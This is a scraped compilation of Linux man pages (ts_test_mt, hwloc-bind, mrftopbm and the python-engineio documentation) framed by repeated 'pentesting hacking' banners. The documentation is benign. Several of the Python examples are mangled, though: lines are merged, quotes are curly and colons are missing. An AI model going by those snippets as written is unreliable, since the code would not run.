Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmflash.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

73 - Linux cli command ts_test_mt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_test_mt and provides detailed information about the command ts_test_mt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_test_mt.

NAME 🖥️ ts_test_mt 🖥️

A basic multitouch test program for tslib.

SYNOPSIS

ts_test_mt [OPTION]

DESCRIPTION

ts_test_mt is used to test tslib using ts_read_mt() , see ts_read_mt (3). It can be used for single and multi touch devices and lets you test the input behaviour with tslib’s filters applied. Two modes are offered by buttons on the display:

In Drag mode, one crosshair for each concurrently made touch contact is drawn to the framebuffer display.

In Draw mode, lines are drawed for each touch contact.

-r, –rotate [value]

Rotate the screen. value is 0 for 0 degree, 1 for 90 degrees (CW), 2 for 180 degrees (upside down) and 3 for 270 degrees (CCW).

-v, –verbose

Print the input samples’ values to the console.

-j, –slots

Override the number of concurrent touch contacts to allocate.

-i, –idev

Explicitly choose the original input event device for tslib to use. Default: the environment variable TSLIB_TSDEVICE’s value.

-n, –samples

Automatically exit after having read n samples.

-a, –altcross

Show an alternative crosshair symbol at the touch points.

SEE ALSO

ts.conf (5), ts_calibrate (1), ts_uinput (1), ts_test (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

74 - Linux cli command hwloc-bind

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-bind and provides detailed information about the command hwloc-bind, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-bind.

NAME 🖥️ hwloc-bind 🖥️

bind - Launch a command that is bound to specific processors and/or memory, or consult the binding of an existing program

SYNOPSIS

hwloc-bind [topology options] [options] <location1> [<location2> […] ] [–] <command>

Note that hwloc(7) provides a detailed explanation of the hwloc system and of valid <location> formats; it should be read before reading this man page.

TOPOLOGY OPTIONS

All topology options must be given before all other options.

–no-smt, –no-smt=<N>
Only keep the first PU per core before binding. If <N> is specified, keep the <N>-th instead, if any. PUs are ordered by physical index during this filtering.

Note that this option is applied after searching locations. Hence –no-smt pu:2-5 will first select the PUs #2 to #5 in the machine before binding on one of them per core. To rather bind on PUs #2 to #5 after filtering one per core, you should combine with hwloc-calc:

hwloc-bind $(hwloc-calc –restrict $(hwloc-calc –no-smt all) pu:2-5) – echo hello

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–disallowed
Include objects disallowed by administrative limitations.

–best-memattr <name>
Select the best NUMA node(s) among the given memory binding set by looking at the memory attribute given by <name> (or as an index).

If the memory attribute values depend on the initiator, the CPU binding set is used as the initiator.

Standard attribute names are Capacity, Locality, Bandwidth, and Latency. All existing attributes in the current topology may be listed with

$ lstopo –memattrs

<name> may be suffixed with flags to tune the selection of best nodes, for instance as bandwidth,strict,default. default means that all local nodes are reported if no best could be found. strict means that nodes are selected only if their performance is the best for all the input CPUs. On a dual-socket machine with HBM in each socket, both HBMs are the best for their local socket, but not for the remote socket. Hence both HBM are also considered best for the entire machine by default, but none if strict.

–hbm
Only take high bandwidth memory nodes (marked with “HBM” subtype, or “MCDRAM” on Intel Xeon Phi) in account when looking for NUMA nodes in the input locations.

This option must be combined with NUMA node locations, such as –hbm numa:1 for binding on the second HBM node. It may also be written as numa[hbm]:1 or numa[mcdram]:1.

–no-hbm
Ignore high bandwidth memory nodes (marked with “HBM” subtype, or “MCDRAM” on Intel Xeon Phi MCDRAM) when looking for NUMA nodes in the input locations.

OPTIONS

All these options must be given after all topology options above.

–cpubind
Use following arguments for CPU binding (default).

–membind
Use following arguments for memory binding. If –mempolicy is not also given, the default policy is bind.

–mempolicy <policy>
Change the memory binding policy.

This option is only meaningful when an actual binding is also given with –membind. If –membind is given without –mempolicy, the default policy is bind.

The available policies are default, firsttouch, bind, interleave, weighted (interleave) and nexttouch. See hwloc.h for details about these policies.

Note that hwloc’s memory binding policies may be slightly different from operating system policies. For instance, the hwloc bind policy uses Linux MPOL_PREFERRED_MANY (or MPOL_PREFERRED) by default, but it switches to Linux MPOL_BIND if the hwloc strict option or flag is also given.

–get
Report the current bindings. The output is an opaque bitmask that may be translated into objects with hwloc-calc (see EXAMPLES below).

When a command is given, the binding is displayed before executing the command. When no command is given, the program exits after displaying the current binding.

When combined with –membind, report the memory binding instead of CPU binding.

No location may be given since no binding is performed.

–nodeset
Report binding as a NUMA memory node set instead of a CPU set if –get was given. This is useful for manipulating CPU-less NUMA nodes since their cpuset is empty while their nodeset is correct.

Also parse input bitmasks as nodesets instead of cpusets.

When this option is not passed, individual input bitmasks may still be parsed as nodesets if they are prefixed with nodeset=.

-e –get-last-cpu-location
Report the last processors where the process ran. The output is an opaque bitmask that may be translated into objects with hwloc-calc (see EXAMPLES below).

Note that the result may already be outdated when reported since the operating system may move the process to other processors at any time according to the binding.

When a command is given, the last processors is displayed before executing the command. When no command is given, the program exits after displaying the last processors.

This option cannot be combined with –membind.

No location may be given since no binding is performed.

–single
Bind on a single CPU to prevent migration.

–strict
Require strict binding.

–pid <pid>
Operate on pid <pid>

–tid <tid>
Operate on thread <tid> instead of on an entire process. The feature is only supported on Linux for thread CPU binding, or for reporting the last processor where the thread ran if -e was also passed.

-p –physical
Interpret input locations with OS/physical indexes instead of logical indexes. This option does not apply to the output, see –get above.

-l –logical
Interpret input locations with logical indexes instead of physical/OS indexes (default). This option does not apply to the output, see –get above.

–cpuset-output-format <hwloc|list|taskset> –cof <hwloc|list|taskset>
Change the format of CPUset or nodeset strings displayed by –get, -e, etc. By default, the hwloc-specific format is used. If list is given, the output is a comma-separated of numbers or ranges, e.g. 2,4-5,8 . If taskset is given, the output is compatible with the taskset program (replaces the former –taskset option).

This option has no impact on the format of input CPU set strings, hwloc, list and taskset formats are always accepted. In case of ambiguity, use hwloc-calc –cpuset-input-format.

-f –force
Launch the executable even if binding failed.

-q –quiet
Hide non-fatal error messages. It includes locations pointing to non-existing objects, as well as failure to bind. This is usually useful in addition to –force.

-v –verbose
Verbose output.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-bind execs an executable (with optional command line arguments) that is bound to the specified location (or list of locations). Location specification is described in hwloc(7). Upon successful execution, hwloc-bind simply sets bindings and then execs the executable over itself.

If a bitmask location is given with prefix nodeset=, then it is considered a nodeset instead of a CPU set. See also –nodeset.

If multiple locations are given, they are combined in the sense that the binding will be wider. The process will be allowed to run on every location inside the combination.

The list of input locations may be explicitly ended with “–”.

If binding fails, or if the binding set is empty, and –force was not given, hwloc-bind returns with an error instead of launching the executable.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-bind utility.

EXAMPLES

hwloc-bind’s operation is best described through several examples. More details about how locations are specified on the hwloc-bind command line are described in hwloc(7).

To run the echo command on the first logical processor of the second package:

$ hwloc-bind package:1.pu:0 – echo hello

which is exactly equivalent to the following line as long as there is no ambiguity between hwloc-bind option names and the executed command name:

$ hwloc-bind package:1.pu:0 echo hello

To bind the “echo” command to the first core of the second package and the second core of the first package:

$ hwloc-bind package:1.core:0 package:0.core:1 – echo hello

To bind on the first PU of all cores of the first package:

$ hwloc-bind package:0.core:all.pu:0 – echo hello $ hwloc-bind –no-smt package:0 – echo hello

To bind on the memory node(s) local to a PU with largest capacity:

$ hwloc-bind –best-memattr capacity –cpubind pu:23 –membind pu:23 – echo hello

To bind memory on the first NUMA node marked with “HBM” subtype:

$ hwloc-bind –membind numa[hbm]:0 – echo hello $ hwloc-bind –hbm –membind numa:0 – echo hello

To bind memory on the first high-bandwidth memory node (MCDRAM) on Intel Xeon Phi:

$ hwloc-bind –membind numa[mcdram]:0 – echo hello $ hwloc-bind –hbm –membind numa:0 – echo hello

Note that binding the “echo” command to multiple processors is probably meaningless (because “echo” is likely implemented as a single-threaded application); these examples just serve to show what hwloc-bind can do.

To run on the first three packages on the second and third nodes:

$ hwloc-bind node:1-2.package:0:3 – echo hello

which is also equivalent to:

$ hwloc-bind node:1-2.package:0-2 – echo hello

Note that if you attempt to bind to objects that do not exist, hwloc-bind will not warn unless -v was specified.

To run on processor with physical index 2 in package with physical index 1:

$ hwloc-bind –physical package:1.core:2 – echo hello

To run on odd cores within even packages:

$ hwloc-bind package:even.core:odd – echo hello

To run on the first package, except on its second and fifth cores:

$ hwloc-bind package:0 ~package:0.core:1 ~package:0.core:4 – echo hello

To run anywhere except on the first package:

$ hwloc-bind all ~package:0 – echo hello

To run on a core near the network interface named eth0:

$ hwloc-bind os=eth0 – echo hello

To run on a core near the PCI device whose bus ID is 0000:01:02.0:

$ hwloc-bind pci=0000:01:02.0 – echo hello

To bind memory on second memory node and run on first node (when supported by the OS):

$ hwloc-bind –cpubind node:1 –membind node:0 – echo hello

hwloc-bind does not have an option to select a kind of CPU core but it may be combined with hwloc-calc to do so. For instance, to bind on the first two cores whose kind matches CoreType=IntelAtom:

$ hwloc-bind $(hwloc-calc –restrict $(hwloc-calc –cpukind CoreType=IntelAtom all) core:0-1) – echo hello

The –get option can report current bindings. This example shows nesting hwloc-bind invocations to set a binding and then report it:

$ hwloc-bind node:1.package:2 – hwloc-bind –get 0x00004444,0x44000000

hwloc-calc can also be used to convert cpu mask strings to human-readable package/core/PU strings; see the description of -H in hwloc-calc(1) for more details. The following example binds to all the PUs in a specific core, uses the –get option to retrieve where the process was actually bound, and then uses hwloc-calc to display the resulting cpu mask in space-delimited list of human-readable locations:

$ hwloc-bind package:1.core:2 – hwloc-bind –get | hwloc-calc -q -H package.core.pu Package:1.Core:2.PU:0 Package:1.Core:2.PU:1

hwloc-calc may convert this output into actual objects, either with logical or physical indexes:

$ hwloc-calc –physical -I pu `hwloc-bind –get` 26,30,34,38,42,46 $ hwloc-calc –logical -I pu `hwloc-bind –get` –sep " " 24 25 26 27 28 29

Locations may also be specified as a hex bit mask (typically generated by hwloc-calc). For example:

$ hwloc-bind 0x00004444,0x44000000 – echo hello $ hwloc-bind `hwloc-calc node:1.package:2` – echo hello

The current memory binding may also be reported:

$ hwloc-bind –membind node:1 –mempolicy interleave – hwloc-bind –get –membind 0x000000f0 (interleave)

HINT

If the graphics-enabled lstopo is available, use for instance

$ hwloc-bind core:2 – lstopo –pid 0

to check what the result of your binding command actually is. lstopo will graphically show where it is bound to by hwloc-bind.

RETURN VALUE

Upon successful execution, hwloc-bind execs the command over itself. The return value is therefore whatever the return value of the command is.

hwloc-bind will return nonzero if any kind of error occurs, such as (but not limited to): failure to parse the command line, failure to retrieve process bindings, or lack of a command to execute.

SEE ALSO

hwloc(7), lstopo(1), hwloc-calc(1), hwloc-distrib(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

75 - Linux cli command mrftopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mrftopbm and provides detailed information about the command mrftopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mrftopbm.

.

NAME 🖥️ mrftopbm 🖥️

convert an MRF image to PBM format

SYNOPSIS

mrftopbm [ -a ] [ input.mrf ]

DESCRIPTION

This program is part of Netpbm(1) .

mrftopbm converts an MRF image to PBM format.

mrftopbm takes the MRF image from the file named by the input.mrf argument, or Standard Input if you don’t specify input.mrf. The output goes to Standard Output.

For more information about mrf, see “theMRF specification” (1) .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), mrftopbm recognizes the following command line option:

-a
causes mrftopbm to include the edges, if any, in the output PBM. This may help when debugging a compressor’s edge optimization.

AUTHOR

Russell Marks.

SEE ALSO

pbmtomrf(1) , pbm(1) , mrf(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/mrftopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

76 - Linux cli command python-engineio

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python-engineio and provides detailed information about the command python-engineio, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python-engineio.

NAME 🖥️ python-engineio 🖥️

engineio - python-engineio Documentation

This project implements Python based Engine.IO client and server that can run standalone or integrated with a variety of Python web frameworks and applications.

GETTING STARTED

What is Engine.IO?

Engine.IO is a lightweight transport protocol that enables real-time bidirectional event-based communication between clients (typically, though not always, web browsers) and a server. The official implementations of the client and server components are written in JavaScript. This package provides Python implementations of both, each with standard and asyncio variants.

The Engine.IO protocol is extremely simple. Once a connection between a client and a server is established, either side can send “messages” to the other side. Event handlers provided by the applications on both ends are invoked when a message is received, or when a connection is established or dropped.

Client Examples

The example that follows shows a simple Python client:

import engineio

eio = engineio.Client()

@eio.on('connect')
def on_connect():
    print('connection established')

@eio.on('message')
def on_message(data):
    print('message received with ', data)
    eio.send({'response': 'my response'})

@eio.on('disconnect')
def on_disconnect():
    print('disconnected from server')

eio.connect('http://localhost:5000')
eio.wait()

And here is a similar client written using the official Engine.IO Javascript client:

<script>
    var socket = eio('http://localhost:5000');
    socket.on('open', function() { console.log('connection established'); });
    socket.on('message', function(data) {
        console.log('message received with ' + data);
        socket.send({response: 'my response'});
    });
    socket.on('close', function() { console.log('disconnected from server'); });
</script>

Client Features

  • Can connect to other Engine.IO complaint servers besides the one in this package.

  • Compatible with Python 3.6+.

  • Two versions of the client, one for standard Python and another for asyncio.

  • Uses an event-based architecture implemented with decorators that hides the details of the protocol.

  • Implements HTTP long-polling and WebSocket transports.

Server Examples

The following application is a basic example that uses the Eventlet asynchronous server:

import engineio import eventlet

eio = engineio.Server()
app = engineio.WSGIApp(eio, static_files={
    '/': {'content_type': 'text/html', 'filename': 'index.html'}
})

@eio.on('connect')
def connect(sid, environ):
    print("connect ", sid)

@eio.on('message')
def message(sid, data):
    print("message ", data)
    eio.send(sid, 'reply')

@eio.on('disconnect')
def disconnect(sid):
    print('disconnect ', sid)

if __name__ == '__main__':
    eventlet.wsgi.server(eventlet.listen(('', 5000)), app)

Below is a similar application, coded for asyncio and the Uvicorn web server:

import engineio import uvicorn

eio = engineio.AsyncServer()
app = engineio.ASGIApp(eio, static_files={
    '/': {'content_type': 'text/html', 'filename': 'index.html'}
})

@eio.on('connect')
def connect(sid, environ):
    print("connect ", sid)

@eio.on('message')
async def message(sid, data):
    print("message ", data)
    await eio.send(sid, 'reply')

@eio.on('disconnect')
def disconnect(sid):
    print('disconnect ', sid)

if __name__ == '__main__':
    uvicorn.run('127.0.0.1', 5000)

Server Features

  • Can accept clients running other complaint Engine.IO clients besides the one in this package.

  • Compatible with Python 3.6+.

  • Two versions of the server, one for standard Python and another for asyncio.

  • Supports large number of clients even on modest hardware due to being asynchronous.

  • Can be hosted on any WSGI and ASGI web servers includind Gunicorn, Uvicorn, eventlet and gevent.

  • Can be integrated with WSGI applications written in frameworks such as Flask, Django, etc.

  • Can be integrated with aiohttp, sanic and tornado asyncio applications.

  • Uses an event-based architecture implemented with decorators that hides the details of the protocol.

  • Implements HTTP long-polling and WebSocket transports.

  • Supports XHR2 and XHR browsers as clients.

  • Supports text and binary messages.

  • Supports gzip and deflate HTTP compression.

  • Configurable CORS responses to avoid cross-origin problems with browsers.

THE ENGINE.IO CLIENT

This package contains two Engine.IO clients:

  • The engineio.Client() class creates a client compatible with the standard Python library.

  • The engineio.AsyncClient() class creates a client compatible with the asyncio package.

The methods in the two clients are the same, with the only difference that in the asyncio client most methods are implemented as coroutines.

Installation

To install the standard Python client along with its dependencies, use the following command:

pip install “python-engineio[client]”

If instead you plan on using the asyncio client, then use this:

pip install “python-engineio[asyncio_client]”

Creating a Client Instance

To instantiate an Engine.IO client, simply create an instance of the appropriate client class:

import engineio

# standard Python
eio = engineio.Client()

# asyncio
eio = engineio.AsyncClient()

Defining Event Handlers

To responds to events triggered by the connection or the server, event Handler functions must be defined using the on decorator:

@eio.on(‘connect’) def on_connect(): print(‘I’m connected!’)

@eio.on('message')
def on_message(data):
    print('I received a message!')

@eio.on('disconnect')
def on_disconnect():
    print('I'm disconnected!')

For the asyncio server, event handlers can be regular functions as above, or can also be coroutines:

@eio.on(‘message’) async def on_message(data): print(‘I received a message!’)

The argument given to the on decorator is the event name. The events that are supported are connect, message and disconnect. Note that the disconnect handler is invoked for application initiated disconnects, server initiated disconnects, or accidental disconnects, for example due to networking failures.

The data argument passed to the ‘message’ event handler contains application-specific data provided by the server with the event.

Connecting to a Server

The connection to a server is established by calling the connect() method:

eio.connect(‘http://localhost:5000’)

In the case of the asyncio client, the method is a coroutine:

await eio.connect(‘http://localhost:5000’)

Upon connection, the server assigns the client a unique session identifier. The applicaction can find this identifier in the sid attribute:

print(‘my sid is’, eio.sid)

Sending Messages

The client can send a message to the server using the send() method:

eio.send({‘foo’: ‘bar’})

Or in the case of asyncio, as a coroutine:

await eio.send({‘foo’: ‘bar’})

The single argument provided to the method is the data that is passed on to the server. The data can be of type str, bytes, dict or list. The data included inside dictionaries and lists is also constrained to these types.

The send() method can be invoked inside an event handler as a response to a server event, or in any other part of the application, including in background tasks.

Disconnecting from the Server

At any time the client can request to be disconnected from the server by invoking the disconnect() method:

eio.disconnect()

For the asyncio client this is a coroutine:

await eio.disconnect()

Managing Background Tasks

When a client connection to the server is established, a few background tasks will be spawned to keep the connection alive and handle incoming events. The application running on the main thread is free to do any work, as this is not going to prevent the functioning of the Engine.IO client.

If the application does not have anything to do in the main thread and just wants to wait until the connection ends, it can call the wait() method:

eio.wait()

Or in the asyncio version:

await eio.wait()

For the convenience of the application, a helper function is provided to start a custom background task:

def my_background_task(my_argument) # do some background work here! pass

eio.start_background_task(my_background_task, 123)

The arguments passed to this method are the background function and any positional or keyword arguments to invoke the function with.

Here is the asyncio version:

async def my_background_task(my_argument) # do some background work here! pass

eio.start_background_task(my_background_task, 123)

Note that this function is not a coroutine, since it does not wait for the background function to end, but the background function is.

The sleep() method is a second convenience function that is provided for the benefit of applications working with background tasks of their own:

eio.sleep(2)

Or for asyncio:

await eio.sleep(2)

The single argument passed to the method is the number of seconds to sleep for.

Debugging and Troubleshooting

To help you debug issues, the client can be configured to output logs to the terminal:

import engineio

# standard Python
eio = engineio.Client(logger=True)

# asyncio
eio = engineio.AsyncClient(logger=True)

The logger argument can be set to True to output logs to stderr, or to an object compatible with Python’s logging package where the logs should be emitted to. A value of False disables logging.

Logging can help identify the cause of connection problems, unexpected disconnections and other issues.

THE ENGINE.IO SERVER

This package contains two Engine.IO servers:

  • The engineio.Server() class creates a server compatible with the standard Python library.

  • The engineio.AsyncServer() class creates a server compatible with the asyncio package.

The methods in the two servers are the same, with the only difference that in the asyncio server most methods are implemented as coroutines.

Installation

To install the Python Engine.IO server use the following command:

pip install “python-engineio”

In addition to the server, you will need to select an asynchronous framework or server to use along with it. The list of supported packages is covered in the Deployment Strategies section.

Creating a Server Instance

An Engine.IO server is an instance of class engineio.Server. This instance can be transformed into a standard WSGI application by wrapping it with the engineio.WSGIApp class:

import engineio

# create a Engine.IO server
eio = engineio.Server()

# wrap with a WSGI application
app = engineio.WSGIApp(eio)

For asyncio based servers, the engineio.AsyncServer class provides the same functionality, but in a coroutine friendly format. If desired, The engineio.ASGIApp class can transform the server into a standard ASGI application:

create a Engine.IO server

eio = engineio.AsyncServer()

# wrap with ASGI application
app = engineio.ASGIApp(eio)

These two wrappers can also act as middlewares, forwarding any traffic that is not intended to the Engine.IO server to another application. This allows Engine.IO servers to integrate easily into existing WSGI or ASGI applications:

from wsgi import app # a Flask, Django, etc. application app = engineio.WSGIApp(eio, app)

Serving Static Files

The Engine.IO server can be configured to serve static files to clients. This is particularly useful to deliver HTML, CSS and JavaScript files to clients when this package is used without a companion web framework.

Static files are configured with a Python dictionary in which each key/value pair is a static file mapping rule. In its simplest form, this dictionary has one or more static file URLs as keys, and the corresponding files in the server as values:

static_files = { ‘/’: ’latency.html’, ‘/static/engine.io.js’: ‘static/engine.io.js’, ‘/static/style.css’: ‘static/style.css’, }

With this example configuration, when the server receives a request for / (the root URL) it will return the contents of the file latency.html in the current directory, and will assign a content type based on the file extension, in this case text/html.

Files with the .html, .css, .js, .json, .jpg, .png, .gif and .txt file extensions are automatically recognized and assigned the correct content type. For files with other file extensions or with no file extension, the application/octet-stream content type is used as a default.

If desired, an explicit content type for a static file can be given as follows:

static_files = { ‘/’: {‘filename’: ’latency.html’, ‘content_type’: ’text/plain’}, }

It is also possible to configure an entire directory in a single rule, so that all the files in it are served as static files:

static_files = { ‘/static’: ‘./public’, }

In this example any files with URLs starting with /static will be served directly from the public folder in the current directory, so for example, the URL /static/index.html will return local file ./public/index.html and the URL /static/css/styles.css will return local file ./public/css/styles.css.

If a URL that ends in a / is requested, then a default filename of index.html is appended to it. In the previous example, a request for the /static/ URL would return local file ./public/index.html. The default filename to serve for slash-ending URLs can be set in the static files dictionary with an empty key:

static_files = { ‘/static’: ‘./public’, ‘’: ‘image.gif’, }

With this configuration, a request for /static/ would return local file ./public/image.gif. A non-standard content type can also be specified if needed:

static_files = { ‘/static’: ‘./public’, ‘’: {‘filename’: ‘image.gif’, ‘content_type’: ’text/plain’}, }

The static file configuration dictionary is given as the static_files argument to the engineio.WSGIApp or engineio.ASGIApp classes:

for standard WSGI applications

eio = engineio.Server()
app = engineio.WSGIApp(eio, static_files=static_files)

# for asyncio-based ASGI applications
eio = engineio.AsyncServer()
app = engineio.ASGIApp(eio, static_files=static_files)

The routing precedence in these two classes is as follows:

  • First, the path is checked against the Engine.IO path.

  • Next, the path is checked against the static file configuration, if present.

  • If the path did not match the Engine.IO path or any static file, control is passed to the secondary application if configured, else a 404 error is returned.

Note: static file serving is intended for development use only, and as such it lacks important features such as caching. Do not use in a production environment.

Defining Event Handlers

To responds to events triggered by the connection or the client, event Handler functions must be defined using the on decorator:

@eio.on(‘connect’) def on_connect(sid): print(‘A client connected!’)

@eio.on('message')
def on_message(sid, data):
    print('I received a message!')

@eio.on('disconnect')
def on_disconnect(sid):
    print('Client disconnected!')

For the asyncio server, event handlers can be regular functions as above, or can also be coroutines:

@eio.on(‘message’) async def on_message(sid, data): print(‘I received a message!’)

The argument given to the on decorator is the event name. The events that are supported are connect, message and disconnect. Note that the disconnect handler is invoked for client initiated disconnects, server initiated disconnects, or accidental disconnects, for example due to networking failures.

The sid argument passed into all the event handlers is a connection identifier for the client. All the events from a client will use the same sid value.

The connect handler is the place where the server can perform authentication. The value returned by this handler is used to determine if the connection is accepted or rejected. When the handler does not return any value (which is the same as returning None) or when it returns True the connection is accepted. If the handler returns False or any JSON compatible data type (string, integer, list or dictionary) the connection is rejected. A rejected connection triggers a response with a 401 status code.

The data argument passed to the ‘message’ event handler contains application-specific data provided by the client with the event.

Sending Messages

The server can send a message to any client using the send() method:

eio.send(sid, {‘foo’: ‘bar’})

Or in the case of asyncio, as a coroutine:

await eio.send(sid, {‘foo’: ‘bar’})

The first argument provided to the method is the connection identifier for the recipient client. The second argument is the data that is passed on to the server. The data can be of type str, bytes, dict or list. The data included inside dictionaries and lists is also constrained to these types.

The send() method can be invoked inside an event handler as a response to a client event, or in any other part of the application, including in background tasks.

User Sessions

The server can maintain application-specific information in a user session dedicated to each connected client. Applications can use the user session to write any details about the user that need to be preserved throughout the life of the connection, such as usernames or user ids.

The save_session() and get_session() methods are used to store and retrieve information in the user session:

@eio.on(‘connect’) def on_connect(sid, environ): username = authenticate_user(environ) eio.save_session(sid, {‘username’: username})

@eio.on('message')
def on_message(sid, data):
    session = eio.get_session(sid)
    print('message from ', session['username'])

For the asyncio server, these methods are coroutines:

@eio.on(‘connect’) async def on_connect(sid, environ): username = authenticate_user(environ) await eio.save_session(sid, {‘username’: username})

@eio.on('message')
async def on_message(sid, data):
    session = await eio.get_session(sid)
    print('message from ', session['username'])

The session can also be manipulated with the session() context manager:

@eio.on(‘connect’) def on_connect(sid, environ): username = authenticate_user(environ) with eio.session(sid) as session: session[‘username’] = username

@eio.on('message')
def on_message(sid, data):
    with eio.session(sid) as session:
        print('message from ', session['username'])

For the asyncio server, an asynchronous context manager is used:

@eio.on(‘connect’) def on_connect(sid, environ): username = authenticate_user(environ) async with eio.session(sid) as session: session[‘username’] = username

@eio.on('message')
def on_message(sid, data):
    async with eio.session(sid) as session:
        print('message from ', session['username'])

Note: the contents of the user session are destroyed when the client disconnects.

Disconnecting a Client

At any time the server can disconnect a client from the server by invoking the disconnect() method and passing the sid value assigned to the client:

eio.disconnect(sid)

For the asyncio client this is a coroutine:

await eio.disconnect(sid)

Managing Background Tasks

For the convenience of the application, a helper function is provided to start a custom background task:

def my_background_task(my_argument) # do some background work here! pass

eio.start_background_task(my_background_task, 123)

The arguments passed to this method are the background function and any positional or keyword arguments to invoke the function with.

Here is the asyncio version:

async def my_background_task(my_argument) # do some background work here! pass

eio.start_background_task(my_background_task, 123)

Note that this function is not a coroutine, since it does not wait for the background function to end, but the background function is.

